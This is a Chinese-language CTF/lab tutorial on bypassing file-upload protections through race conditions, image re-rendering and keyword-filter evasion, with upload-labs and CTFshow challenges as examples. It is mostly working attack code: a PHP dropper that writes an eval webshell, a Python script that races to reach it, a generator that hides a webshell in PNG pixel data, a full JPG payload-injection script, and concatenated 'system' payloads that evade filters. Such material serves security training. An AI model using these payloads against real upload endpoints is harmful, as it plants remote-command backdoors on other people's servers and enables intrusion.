条件竞争

文件上传的条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此如果处理不当或相关逻辑顺序设计不合理的时候,就会导致此类问题的发生,如果我们采用大量的并发请求,就传递一个生成恶意webshell的图像,访问它就可以生成webshell,在上传完成喝安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求来访问该文件,该文件就会被执行,并在服务器上生成一个恶意地webshell

我们接下来以一道upload-labs的pass-18来展示条件竞争的手法

image-20240726101452797

我们首先上传一个PHP文件,看看我们的目录中有没有出现PHP,我们发现根本上传不上去,查看对应的源码

image-20240726102251196

我们可以知道我们在上传的一瞬间,只要检测到了是PHP文件,我们的后端就会删除这个文件并且返回文件类型错误,我们这个时候就可以使用条件竞争来进行绕过

我们首先将上传进去的木马换成如下

<?php $f=fopen("shell.php","w"); fputs($f,'<?php @eval($_POST[cmd]);?>');?>

即让每次上传都试着创建一个新的后门木马,进而形成条件竞争,我们设置无限重放,如下所示

da6f550ba477d0c0bab2bec33ffc45eb

然后我们将线程调大一点,如下所示

image-20240726103218857

同时,我们创建一个python脚本,让其一直去访问shell.php,如下所示

import requests

url = "http://upload.local/upload/shell.php"

while True:

html = requests.get(url)

if html.status_code == 200:

print("OK")

break

值得注意的是,我们需要先运行python脚本再运行burp,否则会出现一些逻辑问题

image-20240726110628447

经过一段时间后,我们可以发现相关php文件已经被写入进去

二次渲染

原理

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸)等,服务器会把里面的内容进行替换更新,处理完成之后,根据我们原有的图片生成一个新的图片并放到网站下的标签进行显示,这样处理后,如果我们的一句话木马插入非常随意的话,就容易被服务器进行修改,进而改变我们的后门代码,导致无法利用后门

PNG二次渲染

接下来就用大佬的代码来进行演示,对于png图片,我们可以进行如下操作

	<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

我们直接运行这个脚本,如下所示

image-20240726110946022

成功在当前目录下生成2.png,我们尝试用二进制编辑器打开,如下所示

image-20240726111112483

确实存在后门代码,之后我们直接进行上传即可

image-20240726111346807

上传成功,我们直接进行命令执行,得到结果如下

image-20240726123115955

说明我们成功拿到后门

JPG二次渲染

代码如下

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

同样我们保存为php文件,然后使用命令行运行,如下所示

image-20240726123927496

我们用二进制文件打开,如下所示

fcbad4e5ed902333cce51cc505eec93c

我们可以看到确实插进去了一个phpinfo();

变异免杀

当系统限制我们上传带有后门的php文件的时候,即会对我们的文件的内容的关键词进行检测,比如过滤system、eval等,这个时候我们利用拼接重组进行绕过即可,这样的过程就叫做后门的变异免杀,我们以CTFSHOW的168关为例子进行演示,这题过滤system,我们直接进行如下构造

payload:<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>
<?php $a='syste'.'m';$a('tac ../flagaa.php');?>

1645517601496-15ba1841-2dd3-4df6-8502-7b0b02cb0dda.png

这就是我们最简单的变异免杀,同时这也是需要我们自己去尝试才能知道如何进行变异最好